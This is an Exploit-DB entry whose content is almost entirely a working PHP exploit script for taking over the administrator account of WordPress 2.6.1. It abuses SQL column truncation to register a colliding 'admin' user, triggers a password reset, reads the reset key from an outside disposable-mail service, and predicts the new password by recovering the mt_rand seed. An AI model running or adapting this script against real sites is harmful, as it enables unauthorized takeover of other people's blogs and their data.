Exploit-DB #6421
Description: WordPress Core 2.6.1 - Admin Takeover (SQL Column Truncation)
Type: webapps
Platform: php
Date: 2008-09-10
Author: iso^kpsbr

Exploit:
#!/usr/bin/php
<?php
# ------------------------------------------------------------
# quick'n'dirty wordpress admin-take0ver poc
# by iso^kpsbr in august 2oo8 
#
# works w/ wordpress 2.6.1
#
#         .oO( private -- do not spread! )Oo.
#
# you'll have to make sure you run roughly the same
# php version as on the server, that is: if server
# is >=5.2.1 you'll need to be as well, in case
# server is <5.2.1, your php also needs to be below.
# to make sure it works you'll need the exact same version!
# also, mod_php works better than (f)cgi..
# (this is a first working version - not a very reliable one)
#
# you should create rainbow tables to make this work in a
# real world scenario:
# php-5.2.0/php createtables.php > wp261_php520
# php-5.2.1/php createtables.php > wp261_php521
#
#-------------------------------------------------------------

	$BLOG = $_SERVER['argv'][1];

	echo "[+] w0rdpress 2.6.1. admin takeover, iso 0808\n";

	if(!$BLOG) {
		echo "[!] Usage: ".$_SERVER['argv'][0]." blogurl\n";
		echo "    fe: ".$_SERVER['argv'][0]." http://31337.biz/blog\n";
		exit;
	}

	$UA = "WordpressAdminTakeover";
	$MBOX="wp".`ps|md5sum|head -c 8`;
	$EMAIL="$MBOX@nospamfor.us";

	echo (file_exists('wp261_php520') && file_exists('wp261_php521')) ?
			"[X] rainbow tables available\n" :
			"[!] rainbow tables not found - this will be really slow\n";

	set_time_limit(0);
	ini_set("max_execution_time",0);
	ini_set("default_socket_timeout",20);

	if(!preg_match('!http://([^/]+)(.*)$!', $BLOG, $match)) {
		die("[!] $BLOG is no valid URL\n");
	}

	$HOST = $match[1];
	$PATH = $match[2];
	if(!$PATH) $PATH='/';

	echo "[-] registering new admin user\n";
	$suck = fsockopen($HOST, 80) or die("[!] could not connect to $HOST:80\n");
	$data = "user_login=admin".str_repeat("%20",60)."x&user_email=$EMAIL";
	$req = "POST $PATH/wp-login.php?action=register HTTP/1.1\r\nHost: $HOST\r\nUser-Agent: $UA\r\nConnection: close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data)."\r\n\r\n".$data;
	fputs($suck, $req);
	sleep(1);
	fclose($suck);

	echo "[-] requesting resetlink and mail to '$EMAIL'\n";
	$suck = fsockopen($HOST, 80) or die("[!] could not connect to $HOST:80\n");
	$data="user_login=$EMAIL&wp-submit=Get+New+Password";	
	$req = "POST $PATH/wp-login.php?action=lostpassword HTTP/1.1\r\nHost: $HOST\r\nReferer: $BLOG/wp-login.php?action=lostpassword\r\nConnection: keep-alive\r\nKeep-Alive: 300\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data)."\r\n\r\n".$data."\r\n";
	fputs($suck, $req);

	echo "[.] giving $BLOG some time to deliver mail..\n";
	for($i=0;$i<8;$i++) {
		fputs($suck,"GET / HTTP/1.1\r\nHost: $HOST\r\nConnection: keep-alive\r\nKeep-Alive: 300\r\n\r\n");
		sleep(2);
	}

	echo "[-] fetching resetlink token $MBOX\n";
	$PAGE = file_get_contents("http://www.nospamfor.us/mailbox.php?mailbox=$MBOX&sitename=nospamfor.us");
	if(!preg_match('/.+mailid=(\d+).+?Reset/s', $PAGE, $match)) die("[!] failed to find resetmail try raising the wait-time right above\n");
	$MAILID=$match[1];

	echo "[-] fetching resetmail $MAILID\n";

	$WHOLEMAIL=file_get_contents("http://www.nospamfor.us/mail.php?mailid=$MAILID&sitename=nospamfor.us&mailbox=$MBOX");
	if(!preg_match('/key=([A-z0-9]+)/', $WHOLEMAIL, $match)) die("[!] could not find resetkey in $WHOLEMAIL\n");
	$KEY=$match[1];

	echo "[X] found resetkey $KEY\n";
	echo "[-] resetting password\n";

	$req = "GET $PATH/wp-login.php?action=rp&key=$KEY HTTP/1.1\r\nHost: $HOST\r\nUser-Agent:$UA\r\nConnection: close\r\n\r\n";
	fputs($suck, $req);
	while(!feof($suck)) {
		#echo "D:".
		fgets($suck);
	}
	fclose($suck);

	echo "[-] calculating password\n";
	$SEED=false;
	if(file_exists('wp261_php520')) {
		$SEED=`grep -F $KEY wp261*|cut -d : -f 1`;
		echo "[X] got seed $SEED from rainbow table\n";
	}
	$[CREDENTIAL_REDACTED]($KEY, $SEED);

	echo "[X] all done.";
	exit;

	function calcpass($resetkey, $seed = false) {
		mt_srand(2); $a = mt_rand(); mt_srand(3); $b = mt_rand();
		define('BUGGY', $a == $b);
		echo "[-] wpress password computation. runnig in ".(BUGGY?'fast':'slow')." mode\n";

		echo "[+] got key $resetkey via mail\n";

		if(!$seed) $seed = getseed($resetkey);

		if($seed===false) die("[!] seed not found :( try using identical php version (< 5.2.5)\n");

		mt_srand($seed);
		echo "[-] seed for key ".wp_generate_password(20,false)." is $seed\n";
		$pass = wp_generate_password();
		echo "[+] new credentials are admin:$pass\n";
		return $pass;
	}

	function wp_generate_password($length = 12, $special_chars = true) {
		$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ[PII_REDACTED]';
		if ( $special_chars )
			$chars .= '!@#$%^&*()';

		$password = '';
		for ( $i = 0; $i < $length; $i++ )
			$password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
		return $password;
	} 

	function getseed($resetkey) {
		echo "[-] calculating rand seed for $resetkey (this will take a looong time)";
		$max = pow(2,(32-BUGGY));
		for($x=0;$x<=$max;$x++) {
			$seed = BUGGY ? ($x << 1) + 1 : $x;
			mt_srand($seed);
			$testkey = wp_generate_password(20,false);
			if($testkey==$resetkey) { echo "o\n"; return $seed; }

			if(!($x % 10000)) echo ".";
		}
		echo "\n";
		return false;
	}

?>

# milw0rm.com [2008-09-10]